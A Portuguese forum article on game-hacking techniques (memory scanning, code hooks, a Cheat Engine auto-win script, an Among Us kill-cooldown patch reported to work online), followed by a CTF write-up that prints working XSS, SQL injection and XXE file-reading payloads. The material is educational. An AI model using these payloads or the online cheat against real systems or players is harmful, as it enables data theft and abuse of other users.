Jump to content
  • Segurança em jogos

       (3 reviews)

    esoj
     Share

    Neste artigo analisaremos alguns tópicos sobre o tema tanto sob a ótica do desenvolvedor, quanto do hacker, comparando os desafios e técnicas referentes ao desenvolvimento de cheats para jogos online e offline.

    Jogos single player

    Do ponto de vista do desenvolvedor a integridade de um jogo single player raramente apresenta um problema para o produto e a comunidade. Devido à ausência de interação entre os jogadores, hacks pouco podem fazer além de obter feitos incríveis como concluir o jogo em tempos recordes ou desbloquear todas as conquistas para que o jogador possa exibir-se para seus amigos. Às vezes é até mesmo desejável pelo desenvolvedor que os jogadores comprometam a integridade do jogo através da criação de Mods,  por exemplo, pois eles expandem e renovam o jogo, criando formas completamente diferentes de jogá-lo.

    Do ponto de vista do profissional de segurança, jogos são uma maneira incrível de testar o seu potencial de engenharia reversa e até mesmo programação, quando você reescreve alguma seção crítica do game, por exemplo.

    Scanners de memória

    Sem dúvida jogos são programas complexos. Além de toda a lógica de gameplay o programa deve conter as instruções necessárias para renderizar itens na tela, gerenciar dispositivos de som, receber input do usuário, além de diversas outras funções comuns presentes nas engines como pathfinding, sistema de partículas, gerenciamento de animações, etc. Fazer a engenharia reversa de um jogo tentando compreender cada etapa do programa até encontrar as seções relacionadas à lógica de jogo seria como procurar uma agulha no palheiro.

    Por este motivo desenvolveram-se ferramentas para inverter esse processo. Com a ajuda de Scanners de memória, a partir de elementos visuais do jogo como vida ou dinheiro, é possível descobrir o valor da variável desejada. Isso permite ao hacker alterar aquele valor ou usar aquela variável (quem acessa esse endereço?) para identificar seções de código relacionadas, criando exploits ainda mais complexos.

    O processo de scan por valor funciona em três etapas:

    1. Escaneia-se um valor conhecido, como vida, dinheiro, pontuação, etc;
    2. Altera-se essa variável dentro do jogo para que ela mude de valor;
    3. Repete-se as etapas 1 e 2 até obter um número pequeno de possíveis endereços.

    Ao fim do processo, é possível trocar o valor da variável dentro do jogo, obtendo vantagens como grandes quantias de vida ou dinheiro.

    O scan de memória funciona buscando todos os endereços de memória do processo que contém aquele exato valor. Quando o segundo scan é feito, ele utiliza a primeira lista de resultado e remove os endereços que não se adequam ao valor atual. Ao fim do processo, sobram bons palpites para o real endereço da variável:

    Exemplo de Scan de memória usando Cheat engine

    Scan por proximidade

    Esta técnica se baseia a partir da relação de proximidade espacial entre as variáveis. Por exemplo, se em um jogo o personagem possuir uma barra de vida cujo valor exato é incerto, uma estratégia possível é buscar por algum valor conhecido associado e após encontrar aquele valor olhar em suas proximidades para checar se a variável vida está lá. Isso ocorre porque na maioria das vezes os programadores armazenam os dados de cada elemento do jogo em objetos ou structs, que são contínuos na memória:

    Struct player{
      Char nome[50];
      Int dinheiro;
      float vida ;
      float vidaMax ;
      Imagem *sprite;
    }

     

    Exemplo de Scan por proximidade usando Cheat engine

    Fuzzing

    As vezes vale a pena alterar uma região de memória próxima a variáveis importantes e observar se algo mudou dentro do jogo. Apesar de diversas vezes resultar em crashes, às vezes pode render resultados interessantes,descobrindo listas ou IDs de itens:

    Exemplo de Fuzzing obtendo os endereços da lista de parceiros e desbloqueando personagens não jogáveis

    Quem acessa esse endereço? e Injeção de código

    Na maioria dos debuggers é possível adicionar um breakpoint de dado, que trava a execução do programa quando uma instrução faz uma leitura ou uma escrita naquele endereço. Isso pode ser muito útil para encontrar funções relacionadas à aquela variável.

    Em alguns casos além de apenas alterar o valor de variáveis é interessante alterar também trechos de código para que o programa se comporte diferente. Para isso, uma técnica usada para alterar dinamicamente o código em execução é o code hooking. Esta técnica consiste em substituir uma instrução por um jump para uma região de memória não utilizada ou alocada pelo debugger. Nessa região, além do código removido dar espaço ao jump, podemos adicionar novas instruções. Ao fim do hook ele retorna para o endereço subsequente ao pulo:

    image.thumb.png.91e5230e298cdc055b35e0e55e21887e.png

    Esquema de mapa de memória e execução durante um hook

    Em um dos casos que encontrei tratava-se de um jogo onde a pontuação mudava dinamicamente a cada nível, com isto, apesar do valor da variável da pontuação ser conhecida, trocar manualmente seu valor era desconfortável.

    Portanto, adicionando um breakpoint de dado no valor da pontuação encontrei a função que checa se a pontuação foi atingida a cada quadro:

     1.mov eax,[ecx+000000A0]          ;Pontuação atual lida
     2.mov ecx,[ecx+000000A4]          ;Pontuação meta lida
     3.cmp eax,ecx                        ; compara os pontos atuais com a meta
     4.<--je 05AE94C6                    
     5.mov eax,[ebp+08]
     6.mov eax,[eax+000000A8]
     7.test eax,eax
     8.jne 05AE9C7F                      ;Todo este trecho é pulado se não atingirmos a meta
     9.mov eax,[ebp+08]
    10.movzx eax,byte ptr [eax+7C]
    11.test eax,eax
    12.jne 05AE9C7F
    13.-->mov eax,[ebp+08]
    14.mov eax,[eax+28]                  ;resto da função
    15.mov ecx,eax
    ...    

    Apesar de ser muito difícil interpretar o que toda a função faz, apenas as 4 primeiras instruções são importantes.

    Se a pontuação atual for diferente do objetivo, o trecho do meio responsável por passar de fase não roda. Eu tentei remover apenas o jump e forçar sua execução mas o jogo trava, provavelmente devido a uma comparação futura com a pontuação. Portanto, a ideia é roubar o fluxo de execução logo antes da comparação da instrução 3 ser executada.

    Para descobrir o endereço de onde deve ser injetado o pulo é possível fazer um scan por Array of bytes. No caso buscamos o padrão das instruções acima. Essa é uma maneira consistente de manter o cheat funcionando mesmo após atualizações que modifiquem o binário, pois mesmo que o endereço da função mude, dificilmente suas instruções serão alteradas

    O Cheat Engine em especial permite escrever um script que realiza essa busca e aplica o hook. Quando o script está ativo ele aplica os patches necessários, enquanto está desativado ele reverte as alterações para o código original. Dessa forma foi simples criar um botão de auto win para qualquer estágio do jogo:

    aobscan(INJECT,8B 89 A4 00 00 00 3B C1 74) ;sequência de instruções a ser buscada
    alloc(newmem,$1000)
    
    [ENABLE]
    
    code:
      mov eax,[ecx+000000A4]	;Instrução original de leitura - lê a meta
      mov [ecx+000000A0],eax	;copia a meta para a pontuação atual
      mov ecx,eax				;e também para o registrador onde está a pontuação atual
      jmp return				;volta para a execução normal de código

     

    Exemplo de injeção de código criando um botão de auto win

    Exemplo de injeção de código alterando o comportamento dos inimigos para curar o jogador

    Online multiplayer

    Enquanto nos jogos single player o uso de cheats traz pouco ou nenhum problema para os demais jogadores, quando se trata de multiplayer online, sobretudo dos jogos mais competitivos, cheats podem se tornar um pesadelo quando jogadores passam a obter vantagens absurdas sobre os demais, criando um ambiente injusto e frustrante dentro da partida.

    Felizmente as engines que suportam multiplayer já são pensadas com a segurança em mente, mitigando a maioria das técnicas discutidas na seção sobre single player.

    Modelo de cliente servidor

    O modelo de cliente servidor assume que existe uma máquina na rede que possui autoridade sobre as demais máquinas, máquina esta chamada de servidor. O servidor também contém um único estado do jogo que é replicado para os demais clientes. Toda a interação entre jogadores deve passar pelo servidor, já que os clientes não possuem nenhuma conexão entre si. Com isto, é tarefa do servidor validar todos os inputs recebidos antes de replicá-los. Existem duas formas de interação servidor-cliente, são elas Remote Procedure Calls (RPCs) e Replicação de Variáveis.

    RPCs são um pedido feito para outra máquina rodar um código específico e estes pedidos podem ser feitos pelo servidor ou pelo cliente. Por exemplo, se o jogador 1 de um jogo tiro deseja atirar, os outros clientes devem ser capazes de observar que o disparo foi realizado. Para isso ele deve solicitar ao servidor que realize um disparo usando uma RPC. Em seguida, o servidor deve solicitar aos demais jogadores que repliquem esse disparo, partindo da cópia que cada um deles tem do jogador 1:

    image.thumb.png.b1115b7a01667b172238354a59b3fa3b.png

    Exemplo de código multiplayer para FPS implementado na Unreal Engine 4

    A segunda forma de comunicação é a replicação de variáveis. Diferente de RPCs, a replicação ocorre apenas do servidor para o cliente. No exemplo acima a função dar dano altera (server side) a variável "vidaDoPersonagem". Quando isso acontece, o servidor envia um pacote atualizando o seu valor para todos os clientes. Portanto, nenhum cliente possui de fato a variável vida mas uma cópia dela. Por isso as técnicas de alteração de variáveis discutidas na seção de jogos offline raramente funcionam em multiplayers. Embora seja possível alterar essa cópia, o estado do jogo no servidor permanece intacto, então mesmo que você tenha 1000 de vida em sua cópia, quando você morrer no servidor, ainda ocorrerá uma RPC para a sua máquina e para os outros jogadores avisando que você morreu.

    Tradeoff entre jogabilidade e segurança - O problema do input

    Sempre que o servidor recebe uma atualização do cliente ele deve checar se a ação feita pelo jogador é válida, como por exemplo se o jogador ainda possui munição antes de atirar, se a arma não está em recarga, etc. Todavia, algumas ações são praticamente impossíveis de serem verificadas. Um servidor poderia verificar por exemplo todo o input feito pelo jogador, enviando cada botão pressionado para que o servidor calcule coisas como posição ou ângulo da câmera, porém devido à latência de rede e o tempo de processamento isso significaria uma jogabilidade travada e lenta. A menos que o jogo seja lento como uma partida de xadrez, o servidor precisa confiar parcialmente no input dado pelo usuário. Por isso, cheats como speedhacks e aimbots são tão comuns. Posição e orientação de onde o jogador está olhando são basicamente controladas pelo cliente.

    Algumas engines como a Unreal conseguem mitigar os efeitos de possíveis speed hacks calculando em server side a posição que o personagem deveria estar e aplicando as devidas correções no cliente. Essas correções também servem para sincronizar o cliente com o servidor em situações de dessincronia como durante perdas de pacotes:

    Exemplo de correção de posicionamento pelo servidor na Unreal Engine 4

    Padrões inseguros de programação para multiplayer

    • Não validar corretamente a entrada de RPCs;
    • No caso acima um cliente não íntegro poderia passar um valor elevado como parâmetro, dando danos absurdos aos adversários;
    • Não validar o tempo entre RPCs;
    • O jogador não deve atirar milhares de vezes por segundo, mas não tem nada no servidor que impeça isso;
    • Não replicar as variáveis necessárias;
    • O desenvolvedor não deve confiar ao cliente variáveis importantes como vida ou munição.

    image.thumb.png.e21861527fa20aeabd42326036331630.png

    Exemplo de código multiplayer vulnerável

    RCEs e ataques a outros jogadores

    Quando um desenvolvedor publica um jogo ele está distribuindo software que vai rodar no computador de diversos usuários. Como qualquer outro programa, ele é suscetível à ataques clássicos de corrupção de memória como buffer overflow, Use After Free, etc, que podem permitir execução remota de código para outros atacantes que possam interagir com o programa. Esse foi o caso do CVE-2019-15943, onde no Counter-Strike: Global Offensive (CSGO) um jogador poderia convidar outro player para uma partida utilizando um mapa customizado. O mapa customizado era criado especificamente para fazer o jogo crashar, corrompendo a cadeia SHE e potencialmente permitindo a execução de código na máquina do usuário que entrou na partida.

    Acessibilidade ao código, Unity e Among Us

    Há alguns meses atrás eu estava curioso para ver como o game Among Us implementa algumas coisas. Uma breve pesquisa no google revela que o jogo foi desenvolvido usando a Unity Engine. Saber em qual engine o programa é produzido é útil na hora de olhar pelos arquivos do game durante uma análise estática. A Unity utiliza C# como linguagem de programação, gerando arquivos .NET (quando no Windows) que são facilmente decompilados e editáveis por ferramentas como dnSpy, tornando o processo de modificação e engenharia reversa bem simples. No entando, atualmente a Unity suporta também o uso do IL2cpp, um conversor de linguagem intermediária (IL) para C++ antes de gerar o pacote do projeto. Isso gera benefícios como performance para o jogo e também dificulta o acesso ao código.

    Entretanto, o processo de engenharia reversa não é impossível. Utilizando a ferramenta IL2cppDumper é possível extrair a partir dos arquivos de metadados os offsets de cada função do GameAssembly.dll, bem como seus respectivos nomes. Vasculhando pelas funções foi possível encontrar a rotina que gerencia o cooldown do botão de matar quando o jogador é o impostor:

    image.thumb.png.df6b97d102bdb188fa00b0593a47a72c.png

    Método responsável pelo cooldown do botão, decompilado pelo ghidra

    image.png.9247326a8073dba6ae10616b9cf7ffc1.png

    Código assembly referente ao método SetTimeKiller

    Aqui vemos que a função recebe o tempo como parâmetro e seu primeiro uso é escrevê-lo em um dos atributos do objeto. Um hack interessante e bem crítico seria transformar qualquer tempo de cooldown em 0.

    image.png.2fcfcb3d58b9823e463524512cad3f41.png

    Código assembly após o patch

    Troquei a instrução xmm0,[ebp +0xc] que lia o argumento da pilha por um simples xor eax,eax, zerando o registrador.
    No lugar de movss [esi+0x44],xmm0 basta mover o valor de eax, como se todo o argumento fosse 0. Com apenas duas instruções alteradas, o exploit funcionou bem mesmo em sessões online.

    O servidor não checava o tempo entre as RPCs para matar o jogador, permitindo assim abusos por clientes modificados e eventualmente frustrando os demais jogadores depois de morrerem em partidas de 10 segundos ou menos.


    image.png.94e60cf0fa19d46354d1050305297ab3.png
     
    Método após o patch, decompilado pelo Ghidra

    Referências


    Revisão: Leandro Fróes
    • Curtir 2
     Share


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Paste as plain text instead

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.


    Guest Professor Utônio

       3 of 3 members found this review helpful 3 / 3 members

    Não entendo nada do assunto, mas ta muito bom! Bem formatado e com vídeos e imagens bem explicativas

    Link to review
    Share on other sites

    Guest xaolin matador de porco

       2 of 2 members found this review helpful 2 / 2 members

    o autor esta solteiro?

    Link to review
    Share on other sites

    Guest Vitor Machado

      

    Muito bom!

    Link to review
    Share on other sites


  • Similar Content

    • By brenocss
      Hoje iremos acompanhar um writeup de um desafio do pwn2win 2020, criado pelo Caio Lüders, que nos permite aprender 3 vulnerabilidades conhecidas (XSS, SQL INJECTION e XXE) e categorizadas no OWASP Top 10 como Injection (top 1) e XXE (top 4).
      Para isso, vamos entender as vulnerabilidades envolvidas separadamente e depois explorar no desafio.
      O que é Reflected XSS
      Cross Site Script Refletido (Reflected XSS) é uma vulnerabilidade que explora a injeção de códigos na resposta HTTP que podem estar refletidos em diferentes contextos HTML e permitem execução de código JavaScript.
      Código vulnerável:
      ### Contexto de html <?php $nome = $_GET["nome"]; // Guarda o valor do parametro nome na variavel nome print '<h1>ola ' . $nome .'<h1>'; // Retorna no html <h1> ola $conteudo da variavel nome$ </h1> ?> O código PHP é vulnerável à XSS já que todo o conteúdo passado no parâmetro nome é retornado, sem sanitização, no HTML da página. Ou seja, se conseguimos injetar qualquer tag HTML podemos utilizar alguma tag que execute JavaScript (<script>alert(1)</script>, por exemplo) ou podemos utilizar tags com eventos (<img src=x onerror=alert(1)/>) como uma forma de executar JavaScript.
      XSS:
      http://localhost:8000/xsshtml.php?nome=<script>alert(1)</script> http://localhost:8000/xsshtml.php?nome=<img src=imageminvalida onerror=alert(1)> Código vulnerável:
      ### Contexto de atributo <?php $img = $_GET["img"]; // Pega o valor do parâmetro "img" e guarda dentro da variável "$img" print '<img src="' . $img .'">'; // Retorna no HTML da página <img src="CONTEUDO DA VARIAVEL $img"> ?> Percebemos que o servidor está inserindo o parâmetro img dentro do atributo src da imagem. Uma maneira que podemos transformar isso em um XSS é fechar o atributo e a tag com “> e inicializar outra tag que execute JavaScript, <img src=x onerror=xss>, por exemplo. Outro caminho é injetar outro atributo que execute JavaScript.
      XSS:
      http://localhost:8000/xssatributo.php?img="><img src=imageminvalida onerror=alert(1)> http://localhost:8000/xssatributo.php?img=imageminvalida" onerror=alert(1)// Código vulnerável:
      ### Contexto de códigos JavaScript <?php $nome = $_GET["nome"]; // Pega o valor do parametro "nome" e guarda na variavel $nome print '<body>'; // Adiciona a tag <body> no HTML print '<script>nome=\'' . $nome .'\';console.log(nome)</script>'; // adiciona o <script>nome=COUNTEUDO DA VARIAVEL $nome;console.log(nome)</script> no HTML da pagina print '</body>';// adiciona tag </body> para fechar a tag no html ?> Para explorar o XSS com o payload teste'-alert(1)// fechamos a String nome com ' . Fizemos a operação de subtração para executar o JavaScript e comentamos o código restante com //.
      XSS:
      http://localhost:8000/xssjavascript.php?nome='-alert(1)//  
      O que é SQL Injection
      SQL Injection é uma vulnerabilidade que explora como uma query SQL é montada e enviada para ser executada. Muitas vezes o desenvolvedor utiliza as entradas do usuário diretamente na query que será executada para fazer a consulta SQL sem nenhuma forma de tratamento.
      Código vulnerável:
      $usuario = $_POST['usuario']; $senha = $_POST['senha']; $sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' "; $processa = mysql_query($sql); Explorando SQL Injection
      No exemplo abaixo temos uma consulta normal de SQL com as entradas usuais de um usuário :
      $usuario = "epicleetteam"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte:
      SELECT * FROM usuarios WHERE usuario = 'epicleetteam' AND senha = 'admin' Demonstrando agora o que acontece quando enviamos entradas com aspas simples:
      $usuario = "epicleet'team"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte:
      SELECT * FROM usuarios WHERE usuario = 'epicleet'team' AND senha = 'admin' Podemos notar que a aspa simples quebra a query e nos permite escapar da string e gerar um erro de sintaxe. Como escapamos da string conseguimos executar qualquer comando SQL.
      Exemplo executando o comando sleep para evitar o erro de sintaxe utilizamos o # para comentar o resto da query:
      $usuario = "epicleetteam' union select sleep(5)#"; $senha = "admin"; SELECT * FROM usuarios WHERE usuario = 'epicleet' union select sleep(5)#' AND senha = 'admin'  
      O que é XXE
      XML External Entity (XXE) é uma característica do XML que nos permite criar uma referencia de um dado. Esse dado pode ser local ou remoto. Com isto a entidade passa a ter o valor contido no endereço referenciado e ao ser chamada retorna os dados desse endereço.
      Exemplo com arquivo local:
      <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> Saída:
      root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin gnx:x:999:999::/home/gnx:/bin/sh Exemplo com arquivo externo:
      <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://epicleet.team/robots.txt" >]><foo>&xxe;</foo> Vamos ao desafio
      A ideia do desafio era explorar todas essas vulnerabilidades em uma única requisição. Sendo assim, a sua requisição precisa ser poliglota (ser entendida em diferentes contextos) e evitar com que uma exploração não atrapalhe a outra. Para começar escolhemos o SQL Injection.
      Para elaboração do payload separamos a resolução em 3 partes: SQLi, XXE e por fim XSS+XXE+SQLi.
      Código Fonte do desafio: https://github.com/pwn2winctf/challenges-2020/blob/master/web-A payload to rule them all/deploy/server/script/test_payload.js
      SQL Injection
      Os trechos destacados são responsáveis pela vulnerabilidade de SQL Injection e por validar caso ele tenha obtido sucesso. Depois disso, o desafio avalia se a saída da consulta do SQL possui a password do usuário. OBS: ${payload} é a entrada do atacante.
      Trecho do desafio vulnerável a SQL Injection:
      const sqli = await query(`SELECT * from posts where id='${payload}'`) //<- monta a query enviada para o sql await connection.end() return JSON.stringify(sqli).includes(users[0]["password"]) //<- Verifica se password esta no retorno da query Para retornar o conteúdo do password na query do SQL utilizamos o operador UNION.
      O operador union combina os resultados de duas ou mais queries em um único resultado, retornando todas as linhas pertencentes a todas as queries envolvidas na execução. Para utilizar o UNION, o número de colunas precisa ser idêntico em todas as queries.
      Sendo assim, começaremos descobrindo o número de colunas pela técnica baseada no tempo. Iremos variar a quantidade de colunas utilizando N vezes a palavra null e o comando sleep(5) para criar o delay. Desta forma verificaremos se a resposta foi impactada pelo delay (deu certo) ou não (deu errado):
      'UNION SELECT sleep(5)# (não demorou) 'UNION SELECT sleep(5),null# (não demorou) 'UNION SELECT sleep(5),null,null#(demorou) Para confirmar que são exatamente 3 colunas adicionamos mais uma coluna e se não demorar garantimos a quantidade 3 de colunas
      'UNION SELECT sleep(5),null,null,null# (não demorou)` Sendo assim, ao obter o numero de colunas correto podemos retornar o conteudo da senha com esse payload final
      'UNION SELECT null,null,(select password from users)# E assim fica a query executada pelo SQL:
      SELECT * from posts where id=''UNION SELECT null,null,(select password from users)#'  
      XXE
      Trecho do desafio vulnerável a XXE:
      var my_secret = Math.random().toString(36).substring(2) ;//<- Gera numero aleatorio fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret) //<- Escreve esse numero aleatorio no arquivo xxe_secret var doc = libxml.parseXml(payload, { noent: true ,nonet: true })// <- recebe as entradas do atacante e parseia o xml return doc.toString().includes(my_secret) //<- verifica se o conteúdo do arquivo my_secret aparece no retorno do xml Para o ataque de XXE somente utilizei o payload conhecido de leitura de arquivo
      <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/gnx/script/xxe_secret’>]><root>&test;</root> Porém para não atrapalhar o SQL Injection substituímos as aspas simples por aspas duplas.
      Assim ficamos com um payload poliglota que explora XXE e SQLi.
      Payload de XXE+SQLI:
      <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>&test;</root>'UNION SELECT null,null,(select password from users)# XSS+XXE+SQLI
      A parte do XSS, supostamente mais simples, já que seria só definir a variável xss com o payload "xss=1", tornou-se a mais complicada pois era afetada pelos outros payloads, que acarretavam erros de sintaxe JavaScript.
      Trecho do código vulnerável:
      payload = sanitizeHtml(payload,{allowedTags:[]}) // <- Recebe a entrada do usuario e sanitiza com a funcao sanitizeHtml await page.goto(`data:text/html,<script>${payload}</script>`) // <- Coloca o conteudo sanitizado dentro da tag <script> const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") //<- verifica se a variavel xss esta definido Como todo o payload era passado em uma lib de sanitização antes de ser injetado no  browser (data:text/html,<script>${payload}</script>), deveríamos utilizar essa lib ao nosso favor para forçar a remoção do conteúdo dos outros ataques que atrapalham criar um JavaScript válido. Uma das remoções da lib é a de comentários. A lib  também remove todas as tags HTML. Sabendo disso, vamos usar essas características e juntar as vulnerabilidades. Exemplo:
      <tag aleatoria> é removido <!--é removido --> Remover o SQLl Injection do payload de XSS é bem fácil já que podemos injetar qualquer conteúdo antes das aspas simples precisando somente ser diferente de aspas simples e injetar qualquer conteúdo depois do comentário.
      SQL Injection com comentários do HTML:
      <!--’UNION SELECT (select password from users),null,null#--> Payload invalido com Sql Injection + XXE + XSS:
      <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>xss=1//&test;</root><!--'UNION SELECT null,null,(select password from users)#--> A lib sanitizehtml, ao interpretar boa parte do conteudo xml como tag html, remove a maior parte da string.
      Partes restantes do payload depois do sanitize:
      ]>xss=1//&test; Erro ao acessar data:text/html,<script>]>xss=1//&test;</script>:
      Uncaught SyntaxError: Unexpected token ']' Percebemos que o conteúdo do xml estava atrapalhando o código JavaScript ao ser executado sem erros no browser. Para escapar criamos uma entidade <!ENTITY apagar SYSTEM "teste>/*"> com o conteúdo teste> para a lib remover algumas partes do xml.
      No entanto restaram alguns caracteres que estavam gerando o erro de sintaxe comentado anteriormente.Para isso utilizamos o comentário do JavaScript /* */ para comentar os caracteres “]> e o // para comentar todo o resto do payload.
      Payload Final usando comentário javascript:
      <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY apagar SYSTEM "teste>/*">]><root>*/xss=1//&xxe;</root><!--' union select (select password from users),null,null Outra maneira era utilizar o CDATA para injetar esses caracteres especiais < e colocar o xss dentro de uma entidade do xml. O CDATA é importante pois na ausência do CDATA eles seriam interpretados pelo xml parser e teríamos problemas com o xxe.
      Payload Final
      <!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY x "<![CDATA[ < ]]>xss=1//" >]><root>&test;</root><!--' union select (select password from users),null,null#-->
    • By Bruna Chieco
      Um pesquisador de segurança encontrou um bug "crítico" no mecanismo de jogo da desenvolvedora de jogos Valve, que alimenta, entre outros jogos, o Counter Strike. Segundo reportagem da Vice, a partir dessa falha, atacantes poderiam assumir o controle dos computadores das vítimas apenas enganando-as para que cliquem em um convite do software de gestão Steam. 
      O pesquisador diz ter alertado a Valve sobre a falha em junho de 2019. Embora o bug tenha sido corrigido em alguns jogos que usam o motor Source, ele ainda está presente no Counter Strike: Global Offensive. Outro pesquisador também encontrou o mesmo bug meses depois.
      Por meio dessa falha, atacantes poderiam espalhá-la automaticamente, quase como um worm. Ou seja, depois de infectar alguém, a pessoa pode ser transformada em "arma" para infectar seus amigos e assim por diante.
    • By Chinchila
      O que é criptografia?
      É uma área de estudo que tem foco em transferir dados entre um grupo sem que alguém de fora desse grupo consiga recuperar os dados. Para isso é necessário alguma convenção do grupo, todos eles devem usar um mesmo mecanismo que geralmente envolve algum passo a passo, o que chamamos de algoritmo, e uma chave que apenas as pessoas do grupo podem ter acesso.
      Criptografia clássica
      Desde muito tempo temos essa necessidade de trocar informações de forma secreta, então antes mesmo de existir computadores já existia a criptografia. Antigamente eram bem comuns esquemas de cifra de substituição, ou seja, um grupo criava um mapa de representação de caracteres, por exemplo o “A” vira “C”, “B” vira “K”, e por aí vai.
      Um bom exemplo é a cifra de césar, também conhecida como ROT13, é uma cifra de substituição bem simples que cada caractere é mapeado para uma posição, por exemplo “A” vira “0”, “B” vira “1”, etc. Depois disso era escolhida uma chave, no caso o césar escolheu 13, e todas as posições eram somadas 13, então onde tinha “A” vira a letra na posição 13 que é a letra “N”, “B” vira a da posição 14 ou seja a letra “O”, etc.

      Figura 1 - Uma ilustração do mapa e a palavra CESAR ambas com a chave 13
      Além da cifra de César, outra bem comum, porém menos antiga, é a cifra de Vigenère que na verdade é uma generalização da cifra de César. Basicamente invés de somar uma chave fixa vamos somar o deslocamento da chave mais do texto simples. Por exemplo, vamos ter uma chave “ACB” e um texto simples “DFG”, então o “D” vira a posição 4 do alfabeto que começa com a letra “A”, o “F” vira a posição 6 do alfabeto que começa com C e por aí vai.
      Criptografia moderna
      Com a popularização dos computadores a criptografia clássica foi ficando obsoleta porque a capacidade de cálculo do computador é muito alta. Logo, por exemplo,  se uma pessoa interceptar uma cifra feita com o esquema de César fica muito fácil para ela recuperar a informação sem saber a chave, apenas testando todas as chaves possíveis.
      A partir dessa fraqueza dos esquemas clássicos surgiu a criptografia moderna que engloba esquemas de chave simétrica, assimétrica e funções hash. A criptografia de chave simétrica funciona com o princípio de que existe uma chave secreta e alguns exemplos de primitivas são AES e Salsa20. Em geral, essas primitivas se baseiam em uma matemática pesada, extensa e difícil que acaba se reduzindo a operações de bit a bit, como XOR e AND. Embora as primitivas já tragam bastante segurança, não é recomendado usar apenas a primitiva e sim uma implementação dela, como por exemplo AES-256 que usa a primitiva do AES porém com uma chave de 256 bits. Além disso, no caso de cifras em blocos, também é interessante utilizar algum modo de operação, que é essencialmente como cada bloco vai ser processado a cada passo da encriptação.

      Figura 2 - Criptografia com chave simétrica
      Além da criptografia de chave simétrica, também existe a de chave assimétrica que se baseia em uma chave pública, que pode ser conhecida por qualquer um, e uma privada, que é secreta. As primitivas desse tipo são baseadas em uma função armadilha, que é uma função na qual é muito fácil realizar uma operação de transformação mas é muito difícil realizar o inverso. Um bom exemplo para esse tipo é o RSA, as funções armadilhas do RSA são a de logaritmo discreto e a fatoração de um número.

      Figura 3 - Criptografia com chave assimétrica
      Além desses esquemas também vieram as funções hash, que são funções que transformam um dado em um conjunto de bits de forma que aquele dado seja único, para garantir unicidade na verdade se parte do princípio de que com uma probabilidade muito baixa dois dados vão ter o mesmo conjunto de bits, então sempre pode acontecer de ter a chamada colisão que é quando dois dados geram a mesma hash. Exemplos de funções hash são MD5 e SHA1, que  estão depreciadas pois já foram encontradas formas de gerar colisão, e SHA2 que até agora está bem.
      Criptografia pós quântica
      Na década de 90, mais precisamente entre 1995 e 1996, surgiram dois algoritmos, um deles, o algoritmo de Shor, diz que é possível inverter uma função armadilha na qual grande parte dos esquemas assimétricos são estruturados e o outro, algoritmo de Grover, descreve uma forma de diminuir o tempo da busca pela chave secreta de esquemas simétricos. Porém ambos algoritmos precisam de um computador quântico que ainda não foi desenvolvido, com a chegada desses algoritmos a comunidade científica que pesquisa criptografia viu que era necessário criar esquemas baseados em problemas que nem computadores quânticos conseguissem quebrar, e aí surgiu a criptografia pós quântica.
      Só para sabermos a proporção, ter esses algoritmos significa que qualquer um com acesso a um computador quântico forte o suficiente vai conseguir ver qualquer dado que uma pessoa troca com a maioria dos sites, seja cartão de crédito, endereço, senhas, isso porque a maioria dos sites usa um esquema junto do protocolo TLS que é “quebrável” com o algoritmo de Shor.
      Embora os algoritmos existam há bastante tempo, somente em 2016 começaram a planejar uma padronização assim como fizeram com AES e RSA. O National Institute of Standards and Technology ou NIST organizou alguns rounds em que pesquisadores pudessem compartilhar esquemas que pudessem ser usados como primitivas para uma troca segura de informações. Os esquemas nesses rounds são divididos em algumas funções de armadilha que possuem muitos casos de borda e acabam sendo bem fáceis de resolver nesses casos, então para criar um esquema bom é preciso bastante conhecimento no problema matemático que ele é baseado, além de conhecimento de ataques.
      Como transferir/armazenar dados de forma segura?
      Transferir dados de forma segura parece uma tarefa difícil depois de ler um pouco sobre criptografia pós quântica, porém ainda não sabemos quando um computador quântico bom o suficiente vai ser criado.
